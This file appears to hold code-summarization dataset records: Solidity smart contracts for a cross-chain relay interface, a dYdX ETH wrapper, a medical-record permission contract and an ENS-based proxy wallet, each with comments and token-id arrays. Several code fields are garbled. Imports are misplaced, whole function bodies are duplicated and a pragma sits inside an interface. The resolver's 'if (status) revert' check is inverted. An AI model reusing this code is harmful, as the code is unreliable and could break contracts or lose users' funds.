interface IRelay is IOracleRouterV2 { function wnative() external view returns (IWETH); function router() external view returns (IUniswapV2Router01); function gton() external view returns (IERC20); function isAllowedChain(string calldata chain) external view returns (bool); function setIsAllowedChain(string calldata chain, bool newBool) external; function feeMin(string calldata destination) external view returns (uint256); function feePercent(string calldata destination) external view returns (uint256); function setFees(string calldata destination, uint256 _feeMin, uint256 _feePercent) external; function lowerLimit(string calldata destination) external view returns (uint256); function upperLimit(string calldata destination) external view returns (uint256); function setLimits(string calldata destination, uint256 _lowerLimit, uint256 _upperLimit) external; function relayTopic() external view returns (bytes32); function setRelayTopic(bytes32 _relayTopic) external; function lock(string calldata destination, bytes calldata receiver) external payable; function reclaimERC20(IERC20 token, uint256 amount) external; function reclaimNative(uint256 amount) external; event Lock( string indexed destinationHash, bytes indexed receiverHash, string destination, bytes receiver, uint256 amount ); event CalculateFee( uint256 amountIn, uint256 amountOut, uint256 feeMin, uint256 feePercent, uint256 fee, uint256 amountMinusFee ); event DeliverRelay(address user, uint256 amount0, uint256 amount1); event SetRelayTopic(bytes32 indexed topicOld, bytes32 indexed topicNew); event SetWallet(address indexed walletOld, address indexed walletNew); event SetIsAllowedChain(string chain, bool newBool); event SetFees(string destination, uint256 _feeMin, uint256 _feePercent); event SetLimits(string destination, uint256 _lowerLimit, uint256 _upperLimit); pragma solidity >=0.8.0; }
4,745,908
[ 1, 1986, 1560, 364, 10812, 90, 26949, 18874, 6835, 225, 2197, 5489, 6448, 2430, 364, 314, 1917, 358, 787, 6828, 5639, 7720, 16, 1284, 5489, 314, 1917, 364, 6448, 2430, 358, 1161, 929, 6828, 5639, 7720, 225, 1201, 874, 8302, 9042, 301, 265, 1527, 300, 411, 1126, 18, 6200, 36, 75, 4408, 18, 832, 34, 225, 18830, 265, 463, 23935, 72, 1527, 300, 411, 74, 2413, 14245, 36, 75, 4408, 18, 832, 34, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 27186, 353, 1665, 16873, 8259, 58, 22, 288, 203, 565, 445, 341, 13635, 1435, 3903, 1476, 1135, 261, 45, 59, 1584, 44, 1769, 203, 203, 565, 445, 4633, 1435, 3903, 1476, 1135, 261, 45, 984, 291, 91, 438, 58, 22, 8259, 1611, 1769, 203, 203, 565, 445, 314, 1917, 1435, 3903, 1476, 1135, 261, 45, 654, 39, 3462, 1769, 203, 203, 565, 445, 21956, 3893, 12, 1080, 745, 892, 2687, 13, 3903, 1476, 1135, 261, 6430, 1769, 203, 203, 565, 445, 15269, 5042, 3893, 12, 1080, 745, 892, 2687, 16, 1426, 394, 7464, 13, 3903, 31, 203, 203, 565, 445, 14036, 2930, 12, 1080, 745, 892, 2929, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 14036, 8410, 12, 1080, 745, 892, 2929, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 444, 2954, 281, 12, 1080, 745, 892, 2929, 16, 2254, 5034, 389, 21386, 2930, 16, 2254, 5034, 389, 21386, 8410, 13, 3903, 31, 203, 203, 565, 445, 2612, 3039, 12, 1080, 745, 892, 2929, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 3854, 3039, 12, 1080, 745, 892, 2929, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 444, 12768, 12, 1080, 745, 892, 2929, 16, 2254, 5034, 389, 8167, 3039, 16, 2254, 5034, 389, 5797, 3039, 13, 3903, 31, 203, 203, 565, 445, 18874, 6657, 1435, 3903, 1476, 1135, 261, 3890, 1578, 1769, 203, 203, 565, 445, 444, 27186, 6657, 12, 3890, 1578, 389, 2878, 528, 2 ]
/* Copyright 2018 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.4.24; pragma experimental "v0.5.0"; import { WETH9 } from "canonical-weth/contracts/WETH9.sol"; import { BucketLender } from "./BucketLender.sol"; import { MathHelpers } from "../../../lib/MathHelpers.sol"; import { TokenInteract } from "../../../lib/TokenInteract.sol"; /** * @title EthWrapperForBucketLender * @author dYdX * * Takes ETH directly, wraps it, then sends it to a bucket lender on behalf of a user. */ contract EthWrapperForBucketLender { using TokenInteract for address; // ============ Constants ============ // Address of the WETH token address public WETH; // ============ Constructor ============ constructor( address weth ) public { WETH = weth; } // ============ Public Functions ============ /** * Fallback function. Disallows ether to be sent to this contract without data except when * unwrapping WETH. */ function () external payable { require( // coverage-disable-line msg.sender == WETH, "EthWrapperForBucketLender#fallback: Cannot recieve ETH directly unless unwrapping WETH" ); } /** * Allows users to send eth directly to this contract and have it be wrapped and sent to a * BucketLender to be lent for some margin position. * * @param bucketLender The address of the BucketLender contract to deposit money into * @param beneficiary The address that will retain rights to the deposit * @return The bucket number that was deposited into */ function depositEth( address bucketLender, address beneficiary ) external payable returns (uint256) { uint256 amount = msg.value; require( amount != 0, "EthWrapperForBucketLender#depositEth: Cannot deposit zero amount" ); // wrap the eth WETH9(WETH).deposit.value(amount)(); assert(WETH.balanceOf(address(this)) >= amount); // ensure enough allowance if (WETH.allowance(address(this), bucketLender) == 0) { // approve for "unlimited amount". WETH9 leaves this value as-is when doing transferFrom WETH.approve(bucketLender, MathHelpers.maxUint256()); } // deposit the tokens return BucketLender(bucketLender).deposit(beneficiary, amount); } /** * Allows users to send eth directly to this contract and have it be wrapped and sent to a * BucketLender to be lent for some margin position. * * @param bucketLender The address of the BucketLender contract to deposit money into * @return The bucket number that was deposited into */ function withdrawEth( address bucketLender, uint256[] buckets, uint256[] maxWeights ) external returns (uint256, uint256) { address owedToken = BucketLender(bucketLender).OWED_TOKEN(); address heldToken = BucketLender(bucketLender).HELD_TOKEN(); require( owedToken == WETH, "EthWrapperForBucketLender: Cannot withdraw from non-WETH BucketLender" ); // withdraw the weth ( uint256 owedTokenAmount, uint256 heldTokenAmount ) = BucketLender(bucketLender).withdraw( buckets, maxWeights, msg.sender ); // send all eth to msg.sender if (owedTokenAmount != 0) { WETH9(owedToken).withdraw(owedTokenAmount); msg.sender.transfer(owedTokenAmount); } // send all other tokens to msg.sender if (heldTokenAmount != 0) { heldToken.transfer(msg.sender, heldTokenAmount); } return (owedTokenAmount, heldTokenAmount); } }
============ Constants ============ Address of the WETH token ============ Constructor ============
{ using TokenInteract for address; address public WETH; constructor( address weth ) public import { WETH9 } from "canonical-weth/contracts/WETH9.sol"; import { BucketLender } from "./BucketLender.sol"; import { MathHelpers } from "../../../lib/MathHelpers.sol"; import { TokenInteract } from "../../../lib/TokenInteract.sol"; contract EthWrapperForBucketLender { WETH = weth; } function () external payable { msg.sender == WETH, "EthWrapperForBucketLender#fallback: Cannot recieve ETH directly unless unwrapping WETH" ); } function depositEth( address bucketLender, address beneficiary ) external payable returns (uint256) { uint256 amount = msg.value; require( amount != 0, "EthWrapperForBucketLender#depositEth: Cannot deposit zero amount" ); WETH9(WETH).deposit.value(amount)(); assert(WETH.balanceOf(address(this)) >= amount); if (WETH.allowance(address(this), bucketLender) == 0) { WETH.approve(bucketLender, MathHelpers.maxUint256()); } } function depositEth( address bucketLender, address beneficiary ) external payable returns (uint256) { uint256 amount = msg.value; require( amount != 0, "EthWrapperForBucketLender#depositEth: Cannot deposit zero amount" ); WETH9(WETH).deposit.value(amount)(); assert(WETH.balanceOf(address(this)) >= amount); if (WETH.allowance(address(this), bucketLender) == 0) { WETH.approve(bucketLender, MathHelpers.maxUint256()); } } return BucketLender(bucketLender).deposit(beneficiary, amount); function withdrawEth( address bucketLender, uint256[] buckets, uint256[] maxWeights ) external returns (uint256, uint256) { address owedToken = BucketLender(bucketLender).OWED_TOKEN(); address heldToken = BucketLender(bucketLender).HELD_TOKEN(); require( owedToken == WETH, "EthWrapperForBucketLender: Cannot withdraw from non-WETH BucketLender" ); ( uint256 owedTokenAmount, uint256 heldTokenAmount ) = BucketLender(bucketLender).withdraw( buckets, maxWeights, msg.sender ); if (owedTokenAmount != 0) { WETH9(owedToken).withdraw(owedTokenAmount); msg.sender.transfer(owedTokenAmount); } if (heldTokenAmount != 0) { heldToken.transfer(msg.sender, heldTokenAmount); } return (owedTokenAmount, heldTokenAmount); } function withdrawEth( address bucketLender, uint256[] buckets, uint256[] maxWeights ) external returns (uint256, uint256) { address owedToken = BucketLender(bucketLender).OWED_TOKEN(); address heldToken = BucketLender(bucketLender).HELD_TOKEN(); require( owedToken == WETH, "EthWrapperForBucketLender: Cannot withdraw from non-WETH BucketLender" ); ( uint256 owedTokenAmount, uint256 heldTokenAmount ) = BucketLender(bucketLender).withdraw( buckets, maxWeights, msg.sender ); if (owedTokenAmount != 0) { WETH9(owedToken).withdraw(owedTokenAmount); msg.sender.transfer(owedTokenAmount); } if (heldTokenAmount != 0) { heldToken.transfer(msg.sender, heldTokenAmount); } return (owedTokenAmount, heldTokenAmount); } function withdrawEth( address bucketLender, uint256[] buckets, uint256[] maxWeights ) external returns (uint256, uint256) { address owedToken = BucketLender(bucketLender).OWED_TOKEN(); address heldToken = BucketLender(bucketLender).HELD_TOKEN(); require( owedToken == WETH, "EthWrapperForBucketLender: Cannot withdraw from non-WETH BucketLender" ); ( uint256 owedTokenAmount, uint256 heldTokenAmount ) = BucketLender(bucketLender).withdraw( buckets, maxWeights, msg.sender ); if (owedTokenAmount != 0) { WETH9(owedToken).withdraw(owedTokenAmount); msg.sender.transfer(owedTokenAmount); } if (heldTokenAmount != 0) { heldToken.transfer(msg.sender, heldTokenAmount); } return (owedTokenAmount, heldTokenAmount); } }
5,462,106
[ 1, 14468, 5245, 422, 1432, 631, 5267, 434, 326, 678, 1584, 44, 1147, 422, 1432, 631, 11417, 422, 1432, 631, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 95, 203, 565, 1450, 3155, 2465, 621, 364, 1758, 31, 203, 203, 203, 565, 1758, 1071, 678, 1584, 44, 31, 203, 203, 203, 565, 3885, 12, 203, 3639, 1758, 341, 546, 203, 565, 262, 203, 3639, 1071, 203, 203, 203, 5666, 288, 678, 1584, 44, 29, 289, 628, 315, 18288, 17, 91, 546, 19, 16351, 87, 19, 59, 1584, 44, 29, 18, 18281, 14432, 203, 5666, 288, 7408, 48, 2345, 289, 628, 25165, 4103, 48, 2345, 18, 18281, 14432, 203, 5666, 288, 2361, 13375, 289, 628, 315, 16644, 6216, 2941, 19, 10477, 13375, 18, 18281, 14432, 203, 5666, 288, 3155, 2465, 621, 289, 628, 315, 16644, 6216, 2941, 19, 1345, 2465, 621, 18, 18281, 14432, 203, 16351, 512, 451, 3611, 1290, 4103, 48, 2345, 203, 565, 288, 203, 3639, 678, 1584, 44, 273, 341, 546, 31, 203, 565, 289, 203, 203, 203, 565, 445, 1832, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 565, 288, 203, 5411, 1234, 18, 15330, 422, 678, 1584, 44, 16, 203, 5411, 315, 41, 451, 3611, 1290, 4103, 48, 2345, 7, 16471, 30, 14143, 1950, 21271, 512, 2455, 5122, 3308, 11014, 1382, 678, 1584, 44, 6, 203, 3639, 11272, 203, 565, 289, 203, 203, 565, 445, 443, 1724, 41, 451, 12, 203, 3639, 1758, 2783, 48, 2345, 16, 203, 3639, 1758, 27641, 74, 14463, 814, 203, 565, 262, 203, 3639, 3903, 203, 3639, 8843, 429, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2254, 5034, 3844, 273, 1234, 18, 1132, 31, 203, 203, 3639, 2583, 2 ]
./full_match/1/0x1664128DF6768c0318FCB0d044bb4ac9Dea0eF07/sources/browser/sendeth.sol
The function will throw an error since this function is not payable.
function notPayable() public { }
3,053,321
[ 1, 1986, 445, 903, 604, 392, 555, 3241, 333, 445, 353, 486, 8843, 429, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 486, 9148, 429, 1435, 1071, 288, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; /* ABIEncoderV2 is needed to return an array from a function. */ pragma experimental ABIEncoderV2; contract Healthchain { /* Every user has a list of documents. */ mapping (address => string[]) public documents; /** * Add a medical record. * Returns the index of the medical record. */ function addDocument(string memory documentHash) public returns (uint) { address from = msg.sender; // push returns the array length return documents[from].push(documentHash) - 1; } /** * Get all medical records of a user. */ function getDocuments(address user) public view returns (string[] memory) { return documents[user]; } /** * A user can specify, which doctors are allowed to view their medical records. * Access is granted, when the user adds his address to a doctors list of patients. * As soon as the user address is removed from the list, access for the doctor is revoked. * * mapping: doctorsAddress -> patientsAddresses */ mapping (address => address[]) public doctorsPermissions; /** * Allow a doctor to view all your documents. */ function giveAccessToDoctor(address doctor) public { doctorsPermissions[doctor].push(msg.sender); } /** * Revoke a doctors access to your documents. */ function revokeAccessFromDoctor(address doctor, uint index) public { require(doctorsPermissions[doctor][index] == msg.sender, 'You can only revoke access to your own documents.'); delete doctorsPermissions[doctor][index]; } /** * Returns all the patients addresses that gave the doctor access. */ function getDoctorsPermissions(address doctor) public view returns (address[] memory) { return doctorsPermissions[doctor]; } }
* Returns all the patients addresses that gave the doctor access./
function getDoctorsPermissions(address doctor) public view returns (address[] memory) { return doctorsPermissions[doctor]; }
5,527,836
[ 1, 1356, 777, 326, 9670, 5828, 6138, 716, 314, 836, 326, 741, 30206, 2006, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 11165, 299, 1383, 6521, 12, 2867, 741, 30206, 13, 1071, 1476, 1135, 261, 2867, 8526, 3778, 13, 288, 203, 565, 327, 31263, 1383, 6521, 63, 2896, 30206, 15533, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// namehash("hatch.eth") bytes32 constant nodehashHatch = 0x54e801acbb1a4f9d2f51dae289e38bc712f13d4dca03b5321203b74e9869a091; bytes32 constant nodehashReverse = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2; // dnsEncode("hatch.eth") string constant dnsHatch = "\x05hatch\x03eth\x00"; interface ReverseRegistrar { function setName(string memory name) external returns (bytes32); } interface Resolver { function addr(bytes32 nodehash) external view returns (address); } interface ResolverMulticoin { function addr(bytes32 nodehash, uint coinType) external view returns (address); } interface AbstractENS { function owner(bytes32 nodehash) external view returns (address); function resolver(bytes32) external view returns (address); } function _keccak(uint offset, uint length, bytes memory data) view returns (bytes32 result) { assembly { result := keccak256(add(offset, add(data, 32)), length) } } function _namehash(uint offset, bytes memory dnsName) view returns (bytes32) { require(offset < dnsName.length); uint8 length = uint8(dnsName[offset]); if (length == 0) { return 0; } uint start = offset + 1; uint end = start + length; return keccak256(abi.encodePacked( _namehash(end, dnsName), _keccak(start, length, dnsName) )); } function namehash(bytes memory dnsName) view returns (bytes32) { return _namehash(0, dnsName); } // A Nook is a permanent wallet deployed by a Proxy. It is counterfactually // deployed, so its address can be used to store ether by a proxy, for // example if the proxy self-destructs. At any point a Proxy may call reclaim // to receive its ether back. contract NookWallet { address payable public immutable owner; constructor() { owner = payable(msg.sender); reclaim(); } // Forwards all funds in this Nook to its Proxy function reclaim() public { require(msg.sender == owner); owner.send(address(this).balance); } // Allow receiving funds receive() external payable { } } // The proxy is a smart contract wallet contract Proxy { address public immutable ens; bytes32 public immutable nodehash; constructor(address _ens, bytes32 _nodehash) { ens = _ens; nodehash = _nodehash; } function nookAddress() public view returns (address payable nook) { return payable(address(uint160(uint256(keccak256(abi.encodePacked( bytes1(0xff), address(this), nodehash, keccak256(type(NookWallet).creationCode) )))))); } function reclaimNook() external returns (address) { address payable nook = nookAddress(); if (nook.codehash == 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470) { // If the nook isn't deployed, deploy it (which forwards all funds to this) new NookWallet{ salt: nodehash }(); } else { // Otherwise, call reclaim NookWallet(nook).reclaim(); } return nook; } function execute(address target, bytes calldata data, uint value) public returns (bool status, bytes memory result) { // Owner the controller can call this require(AbstractENS(ens).owner(nodehash) == msg.sender, "not authorized"); // We use assembly so we can call EOAs assembly { status := call(gas(), target, value, data.offset, data.length, 0, 0) result := mload(0x40) mstore(0x40, add(result, and(add(add(returndatasize(), 0x20), 0x1f), not(0x1f)))) mstore(result, returndatasize()) returndatacopy(add(result, 32), 0, returndatasize()) } } function executeMulitple(address[] calldata targets, bytes[] calldata datas, uint[] calldata values) external returns (bool[] memory statuses, bytes[] memory results) { require(targets.length == datas.length); require(targets.length == values.length); statuses = new bool[](targets.length); results = new bytes[](targets.length); for (uint i = 0; i < targets.length; i++) { (bool status, bytes memory result) = execute(targets[i], datas[i], values[i]); statuses[i] = status; results[i] = result; } } function remove() external { // Owner the controller can call this require(AbstractENS(ens).owner(nodehash) == msg.sender, "not authorized"); // Send all funds (at the conclusion of this tx) to the nook // address, which can be counter-factually deployed later selfdestruct(nookAddress()); } // Allow receiving funds receive() external payable { } } contract HatchMaker { address immutable ens; event DeployedProxy(bytes indexed indexedName, bytes dnsName, address owner); constructor(address _ens) { ens = _ens; // Set the reverse record address reverseRegistrar = AbstractENS(ens).owner(nodehashReverse); ReverseRegistrar(reverseRegistrar).setName("hatch.eth"); } function _addressForNodehash(bytes32 nodehash) internal view returns (address) { return address(uint160(uint256(keccak256(abi.encodePacked( bytes1(0xff), address(this), nodehash, keccak256(abi.encodePacked( type(Proxy).creationCode, bytes32(uint(uint160(ens))), nodehash )) ))))); } function addressForName(bytes calldata dnsName) public view returns (address) { return _addressForNodehash(namehash(dnsName)); } function deployProxy(bytes calldata dnsName) external returns (address) { bytes32 nodehash = namehash(dnsName); Proxy proxy = new Proxy{ salt: nodehash }(ens, nodehash); emit DeployedProxy(dnsName, dnsName, address(proxy)); return address(proxy); } // Returns the Proxy for addr calls, and forwards all other requests // to the name's resolver function resolve(bytes calldata dnsName, bytes calldata data) external view returns (bytes memory) { bytes4 sel = bytes4(data[0:4]); // Handle the hatch.eth root if (keccak256(dnsName) == keccak256(bytes(dnsHatch)) && data.length >= 36) { // [ bytes4:selector ][ bytes32:namehash("hatch.eth") ] require(bytes32(data[4:36]) == nodehashHatch); // [ bytes4:selectoraddr(bytes32) ][ bytes32:namehash("hatch.eth") ] if (data.length == 36 && sel == Resolver.addr.selector) { return abi.encode(address(this)); } // [ bytes4:selectoraddr(bytes32) ][ bytes32:namehash("hatch.eth") ][ uint:60 ] if (data.length == 68 && sel == ResolverMulticoin.addr.selector) { if (uint(bytes32(data[36:68])) == 60) { return abi.encode(abi.encodePacked(address(this))); } } // @TODO: Handle fun things like avatar revert("todo"); //address resolver = ens.resolver(??); //require(resolver != address(0)); //return resolver.call(abi.encodePacked(data[0:4], ownerNodehash, data[36:])); } // Length of the hatch owner label uint length = uint8(dnsName[0]); // Must match XXX.hatch.eth require(keccak256(dnsName[1 + length:]) == keccak256(bytes(dnsHatch)), "unknown suffix"); // The hatch owner name and hash (e.g. ricmoo.hatch.eth => ricmoo.eth) bytes memory ownerName = abi.encodePacked(dnsName[0: length + 1], "\x03eth\x00"); bytes32 ownerNodehash = namehash(ownerName); // Hijack: addr(bytes32 nodehash) view returns (address) // Returns the hatch address instead of returning the // target resolver's address. [EIP-] if (data.length == 36 && sel == Resolver.addr.selector) { //require(namehash(dnsName) == bytes32(data[4:36])); return abi.encode(_addressForNodehash(ownerNodehash)); } // Hijack: addr(bytes32 nodehash, uint cointype) view returns (address) // Returns the hatch address instead of returning the // target resolver's address. [EIP-] if (data.length == 68 && sel == ResolverMulticoin.addr.selector && uint(bytes32(data[36:68])) == 60) { //require(namehash(dnsName) == bytes32(data[4:36])); return abi.encode(abi.encodePacked(_addressForNodehash(ownerNodehash))); } // Forward the request to the actual resolver, replacing the nodehash // with the owner nodehash address resolver = AbstractENS(ens).resolver(ownerNodehash); require(resolver != address(0)); // @TODO: Check for wildcard support and use resolve(bytes, bytes) instead (bool status, bytes memory result) = resolver.staticcall(abi.encodePacked(data[0:4], ownerNodehash, data[36:])); if (status) { revert("call reverted"); } return result; } }
The hatch owner name and hash (e.g. ricmoo.hatch.eth => ricmoo.eth)
bytes memory ownerName = abi.encodePacked(dnsName[0: length + 1], "\x03eth\x00");
15,853,173
